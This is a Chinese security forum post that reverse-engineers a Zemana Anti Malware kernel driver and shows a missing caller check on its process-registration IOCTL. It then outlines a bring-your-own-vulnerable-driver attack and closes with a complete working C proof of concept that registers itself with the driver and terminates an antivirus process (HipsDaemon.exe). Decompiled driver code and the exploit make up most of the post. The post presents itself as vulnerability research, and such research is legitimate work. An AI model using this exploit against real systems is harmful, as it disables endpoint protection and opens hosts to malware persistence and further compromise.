-
-
[原创]一个漏洞驱动利用以结束杀软进程
-
发表于: 3天前 699
-
一个漏洞驱动利用
写这篇文章主要是探讨一下恶意软件如何构造恶意IOCTL以结束杀毒软件进程,实现BYOVD
漏洞驱动总体评估
Zemana Anti Malware 是一款第三方反恶意软件产品,其内核驱动负责提供底层系统防护功能,包括进程保护、注册表监控、文件访问拦截等。然而,经过逆向分析发现,该驱动在实现用户态与内核态通信(IOCTL)时存在严重的安全缺陷:关键 IOCTL 缺乏调用者身份验证,导致任意进程均可注册自身为“可信”进程,进而滥用驱动提供的特权操作(如终止任意进程、读写磁盘、修改注册表等)。该漏洞属于典型的内核权限提升漏洞(Elevation of Privilege, EoP),攻击者可利用其完全瓦解系统的安全防御。
本报告详细分析该漏洞的技术细节、影响范围及修复方案,旨在帮助安全社区理解风险并推动厂商及时修复。
驱动概述
Zemana 驱动在系统启动时加载,创建一个名为 \Device\ZemanaAntiMalware 的设备对象,并设置符号链接 \DosDevices\ZemanaAntiMalware(用户态可通过 \.\ZemanaAntiMalware 访问)。驱动通过 IRP 主功能代码 IRP_MJ_DEVICE_CONTROL 处理来自用户态的各种控制请求(IOCTL),实现反恶意软件的核心功能。


逆向分析表明,驱动支持数十种 IOCTL 功能,覆盖以下类别:
1 2 3 4 | 进程/线程操作:终止进程、打开进程、打开线程、枚举进程等。文件/注册表操作:删除文件、创建/删除注册表键值、查询目录文件等。内核保护功能:修复关键内核函数、检查驱动分发例程、启用/禁用实时保护(RT)、启用/禁用 ZAM Guard 等。其他功能:获取内核映像信息、SCSI 读写、发送系统信息等。 |
这是漏洞驱动的一些信息


漏洞细节分析
驱动入口点
通过逆向分析,我们可以发现驱动注册了符号链接,这给三环的访问提供了便利

DeviceIoControlHandler
漏洞的核心存在于驱动处理 IOCTL 请求的权限检查逻辑中。通过逆向 DeviceIoControlHandler 函数,提取出以下关键的权限验证流程(已简化为伪代码)

1 2 3 4 5 6 7 8 9 10 11 | NTSTATUS DeviceIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) { ULONG ioControlCode = IoGetCurrentIrpStackLocation(Irp)->Parameters.DeviceIoControl.IoControlCode; HANDLE currentProcessId = PsGetCurrentProcessId(); // 权限检查函数 if (!IsIoctlAllowed(ioControlCode, currentProcessId)) { return STATUS_ACCESS_DENIED; } // 根据 ioControlCode 分发处理...} |
这是复原的原DeviceIoControlHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | // 设备I/O控制分发例程NTSTATUS DeviceIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context){ NTSTATUS status = STATUS_INVALID_PARAMETER; PIO_STACK_LOCATION irpSp; ULONG ioControlCode; ULONG inputBufferLength; ULONG outputBufferLength; PVOID systemBuffer; ULONG returnedInformation = 0; HANDLE currentProcessId; ULONG flags; ULONG someGlobalFlag; // 获取当前进程ID currentProcessId = PsGetCurrentProcessId(); // 获取当前I/O堆栈位置 irpSp = IoGetCurrentIrpStackLocation(Irp); if (irpSp == NULL) { ZmnDbgPrint(7, "Main.c", 455, "DeviceIoControlHandler", STATUS_INVALID_PARAMETER, "IO Stack Location is NULL"); status = STATUS_INVALID_PARAMETER; goto CompleteRequest; } // 提取IRP中的常用字段 flags = irpSp->Flags; systemBuffer = Irp->AssociatedIrp.SystemBuffer; inputBufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; ioControlCode = irpSp->Parameters.DeviceIoControl.IoControlCode; // 权限检查(IOCTL_REGISTER_PROCESS 绕过检查) if (!IsIoctlAllowed(ioControlCode, currentProcessId)) { status = STATUS_ACCESS_DENIED; ZmnDbgPrint(7, "Main.c", 482, "DeviceIoControlHandler", STATUS_ACCESS_DENIED, "ProcessID %d is not authorized to send IOCTLs ", currentProcessId); goto CompleteRequest; } // 根据IOCTL代码分发处理 switch (ioControlCode) { // ----- 0x80002000 范围 ----- ...略 case IOCTL_REGISTER_PROCESS: // 0x80002010 ZmnDbgPrint(1, "Main.c", 520, "DeviceIoControlHandler", 0, "IOCTL_REGISTER_PROCESS"); status = sub_1400102CC(systemBuffer); break; ···略 case IOCTL_TERMINATE_PROCESS: // 0x80002048 ZmnDbgPrint(1, "Main.c", 645, "DeviceIoControlHandler", 0, "IOCTL_TERMINATE_PROCESS"); status = ZmnFullPhTerminateProcessById((ULONG_PTR)systemBuffer); returnedInformation = status; break; ···略 default: // 未知IOCTL ZmnDbgPrint(7, "Main.c", 780, "DeviceIoControlHandler", STATUS_INVALID_DEVICE_REQUEST, "Unknown IOCTL code provided 0x%X", ioControlCode); status = STATUS_INVALID_DEVICE_REQUEST; break; }CompleteRequest: // 设置IRP完成状态和信息 Irp->IoStatus.Status = status; Irp->IoStatus.Information = returnedInformation; ZmnDbgPrint(1, "Main.c", 789, "DeviceIoControlHandler", 0, "Response size %d", returnedInformation); IofCompleteRequest(Irp, IO_NO_INCREMENT); return status;}BOOLEAN IsIoctlAllowed(ULONG IoControlCode, HANDLE ProcessId){ // 特殊情况:注册进程的IOCTL总是允许 if (IoControlCode == IOCTL_REGISTER_PROCESS) return TRUE; LONG adjustedCode = IoControlCode + 2147475372; // 相当于 IoControlCode - 0x80002010 if (adjustedCode <= 0x10) { // 在范围内,进一步检查位图 __int64 bitMap = 69633; // 位图值,二进制 10001000000000001? 需要按位测试 // _bittest 测试 (bitMap) 的第 adjustedCode 位 if (_bittest((const LONG*)&bitMap, adjustedCode)) return TRUE; // 位被设置,允许 } // 默认需要检查进程是否已注册 if (sub_140009BD8(SomeParameter, "Main.c") && !ZmnAuthIsRegisteredProcessId(ProcessId)) return FALSE; // 未注册且未通过安全检查,拒绝 return TRUE; // 所有检查通过} |
有问题的IsIoctlAllowed

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | BOOLEAN IsIoctlAllowed(ULONG IoControlCode, HANDLE ProcessId) { // 漏洞点:IOCTL_REGISTER_PROCESS 永远允许 if (IoControlCode == IOCTL_REGISTER_PROCESS) // 0x80002010 return TRUE; // 位图检查:部分 IOCTL 即使未注册也可使用 LONG adjustedCode = IoControlCode + 2147475372; // 等效于 IoControlCode - 0x80002010 if (adjustedCode <= 0x10) { __int64 bitMap = 69633; // 位图 10001000000000001,位0、12、16为1 if (_bittest((LONG*)&bitMap, adjustedCode)) return TRUE; } // 一般情况:需安全检查开启且进程已注册 if (sub_140009BD8(69633, "Main.c") && !ZmnAuthIsRegisteredProcessId(ProcessId)) return FALSE; return TRUE;} |
从 IsIoctlAllowed 函数可知,以下 IOCTL 在任何情况下都被允许,无需检查进程是否已注册:
IOCTL_REGISTER_PROCESS(0x80002010) —— 直接返回 TRUE。IOCTL_GET_DRIVER_PROTOCOL(0x80002054) —— 位0IOCTL_ENABLE_ZAM_GUARD(0x80002060) —— 位12IOCTL_DISABLE_ZAM_GUARD(0x80002064) —— 位16
其中,IOCTL_REGISTER_PROCESS 的功能是将指定的进程 ID 注册为“可信”进程,一旦注册成功,该进程便可调用其他受保护的 IOCTL(如终止进程、修改注册表等)。然而,该 IOCTL 本身没有任何调用者身份验证,导致任意进程均可通过它将自己加入白名单。
ZmnAuthRegisterProcess
处理 IOCTL_REGISTER_PROCESS 的子函数为 ZmnAuthRegisterProcess,其实现如下


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | NTSTATUS ZmnpAuthRegisterProcess(ULONG PID) { if (!g_AuthManagerInitialized) return STATUS_INVALID_PARAMETER; if (ZmnAuthIsRegisteredProcessId(PID)) { // 已注册则直接返回成功 return STATUS_SUCCESS; } PEPROCESS Eprocess; NTSTATUS status = PsLookupProcessByProcessId((HANDLE)PID, &Eprocess); if (!NT_SUCCESS(status)) { return status; } PCHAR imageName = PsGetProcessImageFileName(Eprocess); if (!imageName) { ObDereferenceObject(Eprocess); return STATUS_UNSUCCESSFUL; } // 在内部注册表中找到一个空闲槽位,存储 PID、会话ID、进程名 KeAcquireSpinLock(&g_RegistrationLock); // ... 查找空闲槽位并存储信息 KeReleaseSpinLock(&g_RegistrationLock); ObDereferenceObject(Eprocess); return STATUS_SUCCESS;} |
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | __int64 __fastcall ZmnpAuthRegisterProcess(int PID){ int st; // ebx __int64 processId; // rdi __int64 ProcessImageFileName; // r14 char v4; // r15 _DWORD *v5; // rcx int v6; // esi __int64 v7; // rbp __int64 v8; // rbx const char *v9; // rbx __int64 v10; // rdx __int64 Eprocess; // [rsp+78h] [rbp+10h] BYREF Eprocess = 0LL; st = -1073741823; processId = (unsigned int)PID; if ( !isAuthManagerRegistered ) { ZmnDbgPrint( 5, (__int64)"Authentication\\AuthenticationManager.c", 246, "ZmnAuthRegisterProcess", 0, (__int64)"Authentication Manager is not initialized"); goto LABEL_20; } if ( (unsigned int)ZmnAuthIsRegisteredProcessId(PID) ) { ZmnDbgPrint( 1, (__int64)"Authentication\\AuthenticationManager.c", 256, "ZmnAuthRegisterProcess", 0, (__int64)"%d is already registered", processId);LABEL_19: st = 0; goto LABEL_20; } st = PsLookupProcessByProcessId(processId, &Eprocess); if ( st >= 0 ) { ProcessImageFileName = PsGetProcessImageFileName(Eprocess); if ( !ProcessImageFileName ) { ZmnDbgPrint( 7, (__int64)"Authentication\\AuthenticationManager.c", 282, "ZmnAuthRegisterProcess", -1073741823, (__int64)"Can not get process name for pid %d", processId); goto LABEL_20; } v4 = KeAcquireSpinLockRaiseToDpc(&qword_14002EC20); v5 = &unk_14002EC34; v6 = 0; dword_14002EC28 = (dword_14002EC28 + 1) % 0x64uLL; while ( 1 ) { v7 = -1LL; if ( !*v5 ) break; ++v6; v5 += 608; if ( (unsigned __int64)v6 >= 0x64 ) goto LABEL_15; } if ( v6 != -1 ) goto LABEL_16;LABEL_15: v6 = 0;LABEL_16: v8 = 608LL * v6; dword_14002EBE0[v8 + 20] = PsGetProcessSessionId(Eprocess); dword_14002EBE0[v8 + 21] = processId; v9 = (const char *)&dword_14002EBE0[v8 + 22]; do ++v7; while ( *(_BYTE *)(ProcessImageFileName + v7) ); sub_1400011A0(v9, ProcessImageFileName, v7 + 1); LOBYTE(v10) = v4; KeReleaseSpinLock(&qword_14002EC20, v10); ZmnDbgPrint( 1, (__int64)"Authentication\\AuthenticationManager.c", 339, "ZmnAuthRegisterProcess", 0, (__int64)"ProcessID %d ProcessName %s registered to #%d slot / total %d", processId, v9, v6, dword_14002EC28); goto LABEL_19; } ZmnDbgPrint( 7, (__int64)"Authentication\\AuthenticationManager.c", 270, "ZmnAuthRegisterProcess", st, (__int64)"Can not lookup process by id %d", processId);LABEL_20: if ( Eprocess ) ObfDereferenceObject(); return (unsigned int)st;} |
该函数的关键缺陷:
- 接受任意 PID:
PID参数直接来自用户输入的缓冲区,驱动未验证该 PID 是否与调用者相关。攻击者可传入自己的进程 ID,或任意其他进程 ID(如杀软进程本身)。 - 无调用者身份验证:函数未检查调用者是否具有
SeTcbPrivilege特权,也未验证调用者是否以 SYSTEM 身份运行。任何用户态程序(包括低权限恶意软件)均可调用此 IOCTL。 - 成功即永久注册:一旦注册,该 PID 便被加入内部白名单,此后该进程发起的其他 IOCTL 请求(如终止进程)将被允许。
注册后权限绕过
一旦恶意进程通过 IOCTL_REGISTER_PROCESS 成功注册,它便可以调用任何受保护的 IOCTL。例如,IOCTL_TERMINATE_PROCESS (0x80002048) 的实现如下(伪代码):

1 2 3 4 | case IOCTL_TERMINATE_PROCESS: status = ZmnFullPhTerminateProcessById((ULONG_PTR)Irp>AssociatedIrp.SystemBuffer); Parameters = status; break; |
该函数接收一个进程 ID(从系统缓冲区中直接取出),并调用内核函数终止该进程。由于调用者已经注册,权限检查通过,任何进程(包括系统关键进程、杀软自身)都可被恶意终止。同样,其他高危 IOCTL 如 IOCTL_DELETE_FILE、IOCTL_CREATE_KEY、IOCTL_SCSI_WRITE 等均可被滥用,造成灾难性后果。
攻击流程
- 打开驱动设备:通过符号链接
\\.\ZemanaAntiMalware打开设备句柄。 - 注册自身进程:调用
DeviceIoControl,使用 IOCTL 码0x80002010,输入缓冲区为当前进程 ID。驱动无条件执行注册,将攻击者进程加入白名单。 - 执行特权操作:注册成功后,攻击者可以调用任意其他 IOCTL。例如:
- 终止杀软进程:使用
IOCTL_TERMINATE_PROCESS传入杀软主进程 PID,使其退出,从而关闭实时防护。 - 删除关键文件:使用
IOCTL_DELETE_FILE删除系统文件或杀软组件。 - 修改注册表启动项:使用
IOCTL_CREATE_KEY/IOCTL_DELETE_VALUE实现持久化。 - 读取或写入磁盘:使用
IOCTL_SCSI_READ/IOCTL_SCSI_WRITE绕过文件系统直接操作磁盘,隐藏恶意数据。
- 终止杀软进程:使用
以下为PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | #include <windows.h>#include <stdio.h>#include<TlHelp32.h>#define IOCTL_REGISTER_PROCESS 0x80002010 #define IOCTL_TERMINATE_PROCESS 0x80002048 DWORD GetProcessIdByName(const char* processName) { DWORD pid = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; } int wideLen = MultiByteToWideChar(CP_ACP, 0, processName, -1, NULL, 0); if (wideLen == 0) { CloseHandle(hSnapshot); return 0; } WCHAR* wideProcessName = (WCHAR*)malloc(wideLen * sizeof(WCHAR)); if (wideProcessName == NULL) { CloseHandle(hSnapshot); return 0; } MultiByteToWideChar(CP_ACP, 0, processName, -1, wideProcessName, wideLen); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe)) { do { if (wcscmp(pe.szExeFile, wideProcessName) == 0) { pid = pe.th32ProcessID; break; } } while (Process32Next(hSnapshot, &pe)); } free(wideProcessName); CloseHandle(hSnapshot); return pid;}HANDLE OpenDriverDevice(const char* devicePath) { HANDLE hDevice = CreateFileA( devicePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device: %lu\n", GetLastError()); } return hDevice;}int main() { HANDLE hDevice = OpenDriverDevice("\\\\.\\ZemanaAntiMalware"); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Cannot open driver device. Exiting.\n"); } DWORD myPid = GetCurrentProcessId(); DWORD bytesReturned = 0; BOOL result = DeviceIoControl( hDevice, IOCTL_REGISTER_PROCESS, &myPid, sizeof(myPid), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("[!] Register process failed: %lu\n", GetLastError()); CloseHandle(hDevice); } printf("[+] Process %lu registered successfully.\n", myPid); DWORD targetPid = GetProcessIdByName("HipsDaemon.exe"); if (targetPid == 0) { printf("[!] Cannot find Process:HipsDaemon.exe,Check it."); } printf("[+] Process HipsDaemon.exe pid is:%lu\n", targetPid); result = DeviceIoControl( hDevice, IOCTL_TERMINATE_PROCESS, &targetPid, sizeof(targetPid), NULL, 0, &bytesReturned, NULL ); if (!result) { printf("[!] Terminate process failed: %lu\n", GetLastError()); } else { printf("[+] Process %lu terminated successfully.\n", targetPid); } CloseHandle(hDevice); getchar(); return 0;} |
成功执行后杀软进程被终止,系统失去防护。

结论
Zemana Anti Malware 内核驱动中的 IOCTL_REGISTER_PROCESS 缺少调用者身份验证,是内核权限提升漏洞(CWE-306)。攻击者可利用此漏洞轻松注册自身进程,进而调用其他高危 IOCTL,完全瓦解系统安全防护。